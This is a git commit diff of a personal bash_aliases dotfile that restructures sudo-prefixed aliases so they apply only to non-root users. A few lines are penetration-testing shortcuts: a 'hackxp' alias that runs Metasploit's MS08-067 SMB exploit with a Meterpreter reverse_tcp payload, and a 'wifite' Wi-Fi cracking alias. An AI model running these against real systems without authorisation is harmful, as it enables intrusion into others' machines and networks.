Browse Source

do not use sudo when not needed

master
Robin Thoni 8 years ago
parent
commit
9db0b814bc
1 changed files with 39 additions and 49 deletions
  1. 39
    49
      bash/bash_aliases

+ 39
- 49
bash/bash_aliases View File

5
 alias l="/bin/ls --color"
5
 alias l="/bin/ls --color"
6
 alias ll="/bin/ls --color -l"
6
 alias ll="/bin/ls --color -l"
7
 alias lla="/bin/ls --color -l -a"
7
 alias lla="/bin/ls --color -l -a"
8
-alias ls="/bin/ls -a --color"
9
-alias lock="i3lock"
10
-alias traceroute="traceroute -n"
8
+alias la="/bin/ls -a --color"
11
 alias reload="source ~/.bashrc"
9
 alias reload="source ~/.bashrc"
12
 alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
10
 alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
13
 alias shutserv4="ssh serv4 shutdown -hP 0"
11
 alias shutserv4="ssh serv4 shutdown -hP 0"
14
-alias shut="sudo shutdown -h 0"
15
-alias shutms="shutserv4 && shut"
16
-alias service="sudo service"
17
-alias ifconfig="sudo ifconfig"
18
-alias ip="sudo ip"
19
-alias killall="sudo killall"
20
-alias mount="sudo mount"
21
-alias umount="sudo umount"
22
-alias apt-get="sudo apt-get"
23
-alias apt-cache="sudo apt-cache"
24
-alias de="dhcp eth0"
25
-alias update-rc.d="sudo update-rc.d"
26
 alias status="git status"
12
 alias status="git status"
27
-alias commit="git commit"
28
-alias push="git push"
29
 alias py="ipython3"
13
 alias py="ipython3"
30
-alias usbip="sudo usbip"
31
-alias modprobe="sudo modprobe"
32
-alias wifi="sudo rfkill unblock wifi;sudo service wicd start; wicd-curses"
33
-alias stopwifi="sudo service wicd stop; rfkill block wifi"
34
-alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
35
-alias route="sudo route"
36
 alias bashrc="vim ~/.bashrc; reload"
14
 alias bashrc="vim ~/.bashrc; reload"
37
 alias bashaliases="vim ~/.bash_aliases; reload"
15
 alias bashaliases="vim ~/.bash_aliases; reload"
38
-alias restart="shutdown -r 0"
39
-alias dd="sudo dd"
40
-alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
41
 alias ddstatusc="while :; do ddstatus; sleep 2; done"
16
 alias ddstatusc="while :; do ddstatus; sleep 2; done"
42
-alias reboot="sudo reboot"
43
-alias teamviewer="service teamviewerd start; teamviewer"
44
-alias stopteamviewer="service teamviewerd stop"
45
-alias mounts2="sudo mount /serv2"
46
-alias umounts2="sudo umount /serv2"
47
-alias mounts4="sudo mount /serv4"
48
-alias umounts4="sudo umount /serv4"
49
-alias cryptsetup="sudo cryptsetup"
50
-alias crypt="cryptsetup"
51
-alias arp-scan="sudo arp-scan"
52
 alias arpe="arp-scan -I eth0"
17
 alias arpe="arp-scan -I eth0"
53
 alias arpw="arp-scan -I wlan0"
18
 alias arpw="arp-scan -I wlan0"
54
-alias ping="ping -n"
55
 alias vpnint="service openvpn restart g75-internet"
19
 alias vpnint="service openvpn restart g75-internet"
56
 alias vpnintstop="service openvpn stop g75-internet"
20
 alias vpnintstop="service openvpn stop g75-internet"
57
-alias vpnepi="service openvpn restart rob-1-epimafia-internet"
58
-alias vpnepistop="service openvpn stop rob-1-epimafia-internet"
59
-alias vpnbe="service openvpn restart g75-betaclean"
60
-alias vpnbestop="service openvpn stop g75-betaclean"
61
 alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
21
 alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
62
 alias pull="git pull --rebase"
22
 alias pull="git pull --rebase"
63
 alias st="git status"
23
 alias st="git status"
64
-alias svim="sudo vim"
65
-alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
66
 alias u=up
24
 alias u=up
67
 alias p="ping 8.8.8.8"
25
 alias p="ping 8.8.8.8"
68
-alias pe="ping epigate.epimafia.fr"
69
 alias telnet='telnet -e ^['
26
 alias telnet='telnet -e ^['
70
-alias gparted="sudo gparted"
71
-alias hopper="LD_LIBRARY_PATH=/opt/hopper-v3/ /opt/hopper-v3/Hopper"
72
 alias reboot-win="grub-reboot 2 && reboot"
27
 alias reboot-win="grub-reboot 2 && reboot"
73
 alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
28
 alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
74
 alias studio="~/tools/android-studio-latest/bin/studio.sh"
29
 alias studio="~/tools/android-studio-latest/bin/studio.sh"
96
 alias update-confs="cd ~/confs && git pull -r && reload"
51
 alias update-confs="cd ~/confs && git pull -r && reload"
97
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
52
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
98
 alias xcopy="xclip -selection clipboard"
53
 alias xcopy="xclip -selection clipboard"
99
-alias ap="rfkill unblock wifi && sudo ap"
100
-alias nst="sudo netstat -ntpa | grep LISTEN"
101
-alias nsu="sudo netstat -nupa"
102
 alias ns=nst
54
 alias ns=nst
103
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
55
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
104
 alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
56
 alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
109
 alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
61
 alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
110
 alias ssh-socks="ssh -N -D 127.0.0.1:1080"
62
 alias ssh-socks="ssh -N -D 127.0.0.1:1080"
111
 alias dc="docker-compose"
63
 alias dc="docker-compose"
64
+
65
+if [ "${EUID}" -ne 0 ]
66
+then
67
+  alias modprobe="sudo modprobe"
68
+  alias dd="sudo dd"
69
+  alias reboot="sudo reboot"
70
+  alias cryptsetup="sudo cryptsetup"
71
+  alias arp-scan="sudo arp-scan"
72
+  alias service="sudo service"
73
+  alias ifconfig="sudo ifconfig"
74
+  alias ip="sudo ip"
75
+  alias route="sudo route"
76
+  alias killall="sudo killall"
77
+  alias mount="sudo mount"
78
+  alias umount="sudo umount"
79
+  alias apt-get="sudo apt-get"
80
+  alias apt-cache="sudo apt-cache"
81
+  alias update-rc.d="sudo update-rc.d"
82
+  alias gparted="sudo gparted"
83
+
84
+  alias svim="sudo vim"
85
+  alias shut="sudo shutdown -h 0"
86
+  alias nst="sudo netstat -ntpa | grep LISTEN"
87
+  alias nsu="sudo netstat -nupa"
88
+  alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
89
+  alias ap="rfkill unblock wifi && sudo ap"
90
+  alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
91
+  alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
92
+else
93
+  alias svim="vim"
94
+  alias shut="shutdown -h 0"
95
+  alias nst="netstat -ntpa | grep LISTEN"
96
+  alias nsu="netstat -nupa"
97
+  alias ddstatus="pkill --signal USR1 \"^dd$\""
98
+  alias ap="rfkill unblock wifi && ap"
99
+  alias 3d="/etc/3DxWare/daemon/3dxsrv -d usb"
100
+  alias wifite="wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
101
+fi

Loading…
Cancel
Save